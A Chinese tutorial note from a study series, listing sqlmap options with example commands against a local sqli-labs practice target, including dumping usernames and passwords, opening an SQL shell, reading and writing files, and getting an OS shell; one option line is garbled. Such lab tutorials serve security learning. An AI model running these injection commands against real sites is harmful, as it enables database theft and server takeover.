某教程学习笔记(一):12、sqlmap使用介绍

简介: 某教程学习笔记(一):12、sqlmap使用介绍


一、环境:kali 2020.01,python2或python3

二、命令介绍

1、sqlmap --update 更新命令

2、is-dba 查询是否是管理员权限

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --is-dba

0a2653c851af460fa595bd959398a8f1.png

3、dbs 获取所有数据库名称

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --dbs

0eacb84100b54626af849e6b562bf92a.png

4、current-db 获取当前数据库名称

5、users 获取所有数据库用户

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --users

2d65d23f6d4748949b924e4057485923.png

6、current-users 获取当前数据库用户

7、tables 获取所有表的信息

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --tables -D security

2e9b90b2ca334476abebe75bafe6eeaa.png

8、columns 获取所有列的信息

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --columns -T users -D security

0a2653c851af460fa595bd959398a8f1.png

9、dump 获取字段内容

10、–level 指定扫描等级

11、D 指定数据库

12、T 指定表

13、C 指定列

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --dump -C “username,password” -T users -D security

0eacb84100b54626af849e6b562bf92a.png

14、dbms=mysql 指定数据库

15、v 显示调试信息

16、risk 显示风险等级

17、u 获取目标

18、m c:\1.txt 从文件总获取多个目标探测

19、data=“id=1” post方式注入

20、data=“su=123i d = 456 " − − p a r a m 0 d e l = " id=456" --param0del="id=456"−−param0del="” 分割参数

21、cookie cookie注入

22、referer 伪造http请求中的referer

23、headers 伪造http请求中的头部

24、proxy 添加代理,http://url:port

25、delay 设置两个请求间的延迟

26、timeout 设定请求超时时间

27、retries 设定重现链接次数

28、safe-url 提供一个连接,每隔一段时间就会去访问一下

29、safe-freq 提供一个连接,每次请求之后都会去访问一下

30、p “io=123” 指定参数进行探测注入

31、prefix 闭合语句的前面

32、suffix 闭合语句的后面

33、technique 指定探测方式

34、B:布尔型注入,E:报错型注入,U:联合查询注入,S:多语句查询注入,T:时间延迟注入

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --technique=U

2d65d23f6d4748949b924e4057485923.png

35、union-cols 指定联合查询的字段数

36、union-char 指定联合查询用到的字符

37、second-order 二阶注入后面跟跳转网址

38、search用来寻找特定的数据库名、表名、列名

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --search -T users

0a2653c851af460fa595bd959398a8f1.png

39、t “c:\1.txt” 把请求与相应的日志保存起来

40、batch 全自动按默认操作

41、charset=GBk 指定字符编码

42、flush-session 清空之前的session重新测试

43、hex 使用hex函数避免编码问题

44、smart 快速注入

45、mobile 设置成手机UA

45、identify-waf 监测用的什么waf

46、check-waf 监测是否存在waf

47、common-tables -D text 暴力破解表名(access)

48、common-columns -D text -T ttt 暴力破解列名

49、tamper base64encode.py base64编码注入

50、sql-query=“select version()” 执行sql语句

51、sql-shell 直接获取sql语句执行权限

sqlmap -u “http://192.168.21.135/sqli/Less-1/index.php?id=1” --sql-shell

0eacb84100b54626af849e6b562bf92a.png

52、file-read 读取文件


53、file-write 本地路劲 file-dest 上传文件

54、os-shell 获取shell权限

55、schema --exclude-sysdbs 列出除系统以外的数据库


禁止非法,后果自负


目录
相关文章
|
安全 数据安全/隐私保护
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
|
分布式计算 安全 调度
PowerJob未授权访问漏洞(CVE-2023-29922)
PowerJob是一个开源分布式计算和作业调度框架,它允许开发人员在自己的应用程序中轻松调度任务。PowerJob V4.3.1版本存在安全漏洞,该漏洞源于存在不正确访问控制。
1510 1
PowerJob未授权访问漏洞(CVE-2023-29922)
|
存储 SQL JSON
Elasticsearch Search API之搜索模板(search Template)
Elasticsearch Search API之搜索模板(search Template)
Elasticsearch Search API之搜索模板(search Template)
|
安全 API 数据安全/隐私保护
基于 Token 的多平台身份认证架构设计
在存在账号体系的信息系统中,对身份的鉴定是非常重要的事情。 随着移动互联网时代到来,客户端的类型越来越多, 逐渐出现了 一个服务器,N 个客户端的格局 。
基于 Token 的多平台身份认证架构设计
|
5月前
|
编解码 运维 Kubernetes
政采云业务网关实践:使用 Higress 统一替代 APISIX/Kong/Istio Ingress
政采云基础架构团队技术专家朱海峰介绍了业务网关项目的背景和解决方案。
298 40
|
8月前
|
SQL 关系型数据库 MySQL
Mysql中搭建主从复制原理和配置
主从复制在数据库管理中广泛应用,主要优点包括提高性能、实现高可用性、数据备份及灾难恢复。通过读写分离、从服务器接管、实时备份和地理分布等机制,有效增强系统的稳定性和数据安全性。主从复制涉及I/O线程和SQL线程,前者负责日志传输,后者负责日志应用,确保数据同步。配置过程中需开启二进制日志、设置唯一服务器ID,并创建复制用户,通过CHANGE MASTER TO命令配置从服务器连接主服务器,实现数据同步。实验部分展示了如何在两台CentOS 7服务器上配置MySQL 5.7主从复制,包括关闭防火墙、配置静态IP、设置域名解析、配置主从服务器、启动复制及验证同步效果。
327 0
Mysql中搭建主从复制原理和配置
|
SQL 数据库 Python
sqlmap的安装及使用教程_sqlmap安装使用教程
sqlmap的安装及使用教程_sqlmap安装使用教程
【qt】最快的开发界面效率——混合编程2
【qt】最快的开发界面效率——混合编程
138 1
|
算法 数据可视化 数据挖掘
使用Python实现DBSCAN聚类算法
使用Python实现DBSCAN聚类算法
645 2
|
存储 算法 C++
vector容器-互换容器讲解
vector容器-互换容器讲解
171 0